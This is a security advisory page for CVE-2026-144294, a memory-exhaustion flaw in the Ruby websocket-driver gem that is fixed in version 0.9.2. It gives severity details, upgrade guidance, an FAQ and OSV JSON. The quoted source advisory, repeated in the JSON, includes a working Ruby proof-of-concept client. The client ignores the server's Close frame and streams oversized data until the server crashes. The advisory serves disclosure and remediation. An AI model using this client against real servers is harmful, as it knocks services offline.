CVE-2026-144294: websocket-driver Memory Exhaustion Triggered By Client Vulnerability

HIGH
Advisory Identifier: GHSA-xr87-hm5c-qpwp
CVSS 7.5
CWE-770
Published
Advisory Summary

CVE-2026-144294 is a HIGH (CVSS 7.5) memory exhaustion triggered by client vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting websocket-driver libraries in the RubyGems ecosystem. The issue involves memory exhaustion triggered by client continuing to send message data after the server sent a close frame. Remediation is available by upgrading affected packages to version 0.9.2.

CVE-2026-144294 at a Glance

CVE Identifier CVE-2026-144294
GHSA Identifier GHSA-xr87-hm5c-qpwp
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product websocket-driver
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-144294

To remediate this vulnerability, upgrade all affected websocket-driver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

websocket-driver fixed: 0.9.2
Upgrade websocket-driver to 0.9.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for websocket-driver

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-144294, inspect your project dependencies for websocket-driver:

inspect dependencies for websocket-driver

Analyze the terminal output to locate any version of websocket-driver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In websocket-driver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A WebSocket server built using `websocket-driver` can be made to buffer data from the client beyond the limit set by `max_length`, if it attempts to close the socket but the client ignores this request and continues to send data on a half-open socket. ### Details When a `websocket-driver` instance calls `close()`, this has the effect of sending a WebSocket Close frame to the other peer. The peer should respond with its own Close frame and then both parties should close the connection. If the client ignores the Close frame, and instead continues to send message data, the server will continue to process this data (as it is listening for the client's Close response). However, it does not validate messages as it normally would and fails to reject messages that exceed `max_length`. This happens even if the server closes the TCP socket, as the client can take advantage of TCP's half-open behaviour to keep sending data. The client can abuse this to make the server buffer an indefinite volume of data, ignoring the `max_length` setting, until it runs out of memory and crashes. This was caused by the driver not enforcing validating on incoming messages. It has been mitigated by making the `close()` method put the parser in a state where `max_length` will still be enforced, and a too-large message will result in it failing the connection. ### Proof of concept Given a server configured as follows, which responds to an incoming message by invoking `driver.close()`: ```rb require 'bundler/setup' require 'eventmachine' require 'websocket/driver' require 'permessage_deflate' module Connection def initialize @driver = WebSocket::Driver.server(self, :allow_drafts => true) @driver.add_extension(PermessageDeflate) @driver.on(:connect) { |e| @driver.start if WebSocket::Driver.websocket? @driver.env } @driver.on(:message) { |e| @driver.close } @driver.on(:close) { |e| close_connection_after_writing } end def receive_data(data) @driver.parse(data) end def write(data) send_data(data) end end EM.run { EM.start_server('127.0.0.1', 5077, Connection) } ``` A client may connect to this server, send a WebSocket handshake, followed by a simple message, triggering the server's `close()` call. After this, it ignores the server's request to close the socket and instead initiates the sending of a very large message, beyond the size limit normally allowed by the server. ```rb require 'bundler/setup' require 'eventmachine' require 'websocket/driver' require 'permessage_deflate' module Connection def connection_completed send_data( "GET / HTTP/1.1\r\n" + "Host: 127.0.0.1\r\n" + "Connection: Upgrade\r\n" + "Upgrade: websocket\r\n" + "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n" + "Sec-WebSocket-Version: 13\r\n" + "\r\n" ) @stage = 0 end def receive_data(data) case @stage when 0 then # masked text frame, FIN = 1, payload 'a' -> server replies with a Close frame send_data([0x81, 0x81, 0, 0, 0, 0, 0x61].pack('C*')) @stage = 1 when 1 then # ignore Close frame # masked binary frame, FIN = 1, 64-bit payload length = 2^53 - 1 send_data([0x82, 0xff, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0, 0, 0, 0].pack('C*')) @stage = 2 EM.add_periodic_timer(0.1) do chunk = "\x00" * (1 << 20) send_data(chunk) end end end end EM.run { uri = URI.parse('http://127.0.0.1:5077/') EM.connect(uri.host, uri.port, Connection) } ``` When this client connects, the server's memory use will grow indefinitely. After patching, the server rejects the large message and its memory use remains stable. ### Impact After a server calls `driver.close()`, an unauthenticated client that ignores the Close frame can make the server buffer unlimited data until it runs out of memory.

CVE-2026-144294 Affected websocket-driver Versions

1 component(s)
Fixed Versions:
0.9.2
Product / Package Ecosystem Affected Versions Fixed Version
websocket-driver
RubyGems
< 0.9.2
0.9.2

References

Frequently Asked Questions

What is CVE-2026-144294?
CVE-2026-144294 is a security vulnerability in websocket-driver involving Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame under CWE-770: Allocation of Resources Without Limits or Throttling.
Which websocket-driver versions are affected?
Affected versions include releases prior to 0.9.2 across affected packages: websocket-driver.
What version fixes CVE-2026-144294?
Upgrading to 0.9.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is websocket-driver affected?
Yes, websocket-driver is affected in releases prior to 0.9.2. Upgrade your dependency to 0.9.2 or later.
What is the CVSS score of CVE-2026-144294?
CVE-2026-144294 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-144294?
CVE-2026-144294 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check RubyGems dependencies for CVE-2026-144294?
Run the dependency tree command: 'inspect dependencies for websocket-driver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xr87-hm5c-qpwp",
  "modified" : "2026-12-04T22:05:10Z",
  "published" : "2026-12-04T22:05:10Z",
  "aliases" : [ "CVE-2026-144294" ],
  "summary" : "websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame",
  "details" : "### Summary\n\nA WebSocket server built using `websocket-driver` can be made to buffer data from the client beyond the limit set by `max_length`, if it attempts to close the socket but the client ignores this request and continues to send data on a half-open socket.\n\n### Details\n\nWhen a `websocket-driver` instance calls `close()`, this has the effect of sending a WebSocket Close frame to the other peer. The peer should respond with its own Close frame and then both parties should close the connection.\n\nIf the client ignores the Close frame, and instead continues to send message data, the server will continue to process this data (as it is listening for the client's Close response). However, it does not validate messages as it normally would and fails to reject messages that exceed `max_length`. This happens even if the server closes the TCP socket, as the client can take advantage of TCP's half-open behaviour to keep sending data.\n\nThe client can abuse this to make the server buffer an indefinite volume of data, ignoring the `max_length` setting, until it runs out of memory and crashes.\n\nThis was caused by the driver not enforcing validating on incoming messages. It has been mitigated by making the `close()` method put the parser in a state where `max_length` will still be enforced, and a too-large message will result in it failing the connection.\n\n\n### Proof of concept\n\nGiven a server configured as follows, which responds to an incoming message by invoking `driver.close()`:\n\n```rb\nrequire 'bundler/setup'\nrequire 'eventmachine'\nrequire 'websocket/driver'\nrequire 'permessage_deflate'\n\nmodule Connection\n  def initialize\n    @driver = WebSocket::Driver.server(self, :allow_drafts => true)\n    @driver.add_extension(PermessageDeflate)\n\n    @driver.on(:connect) { |e| @driver.start if WebSocket::Driver.websocket? @driver.env }\n    @driver.on(:message) { |e| @driver.close }\n    @driver.on(:close)   { |e| close_connection_after_writing }\n  end\n\n  def receive_data(data)\n    @driver.parse(data)\n  end\n\n  def write(data)\n    send_data(data)\n  end\nend\n\nEM.run {\n  EM.start_server('127.0.0.1', 5077, Connection)\n}\n```\n\nA client may connect to this server, send a WebSocket handshake, followed by a simple message, triggering the server's `close()` call. After this, it ignores the server's request to close the socket and instead initiates the sending of a very large message, beyond the size limit normally allowed by the server.\n\n```rb\nrequire 'bundler/setup'\nrequire 'eventmachine'\nrequire 'websocket/driver'\nrequire 'permessage_deflate'\n\nmodule Connection\n  def connection_completed\n    send_data(\n      \"GET / HTTP/1.1\\r\\n\" +\n      \"Host: 127.0.0.1\\r\\n\" +\n      \"Connection: Upgrade\\r\\n\" +\n      \"Upgrade: websocket\\r\\n\" +\n      \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\\r\\n\" +\n      \"Sec-WebSocket-Version: 13\\r\\n\" +\n      \"\\r\\n\"\n    )\n\n    @stage = 0\n  end\n\n  def receive_data(data)\n    case @stage\n\n    when 0 then\n      # masked text frame, FIN = 1, payload 'a' -> server replies with a Close frame\n      send_data([0x81, 0x81, 0, 0, 0, 0, 0x61].pack('C*'))\n      @stage = 1\n\n    when 1 then\n      # ignore Close frame\n      # masked binary frame, FIN = 1, 64-bit payload length = 2^53 - 1\n      send_data([0x82, 0xff, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0, 0, 0, 0].pack('C*'))\n      @stage = 2\n\n      EM.add_periodic_timer(0.1) do\n        chunk = \"\\x00\" * (1 << 20)\n        send_data(chunk)\n      end\n    end\n  end\nend\n\nEM.run {\n  uri = URI.parse('http://127.0.0.1:5077/')\n  EM.connect(uri.host, uri.port, Connection)\n}\n```\n\nWhen this client connects, the server's memory use will grow indefinitely. After patching, the server rejects the large message and its memory use remains stable.\n\n\n### Impact\n\nAfter a server calls `driver.close()`, an unauthenticated client that ignores the Close frame can make the server buffer unlimited data until it runs out of memory.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "websocket-driver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-ruby/security/advisories/GHSA-xr87-hm5c-qpwp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-144294"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-ruby/commit/58328fb0c78b733060a59f8d02bbd9b4210b26e3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/faye/websocket-driver-ruby"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-ruby/releases/tag/0.9.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-04T22:05:10Z",
    "nvd_published_at" : "2026-12-03T18:17:26Z"
  }
}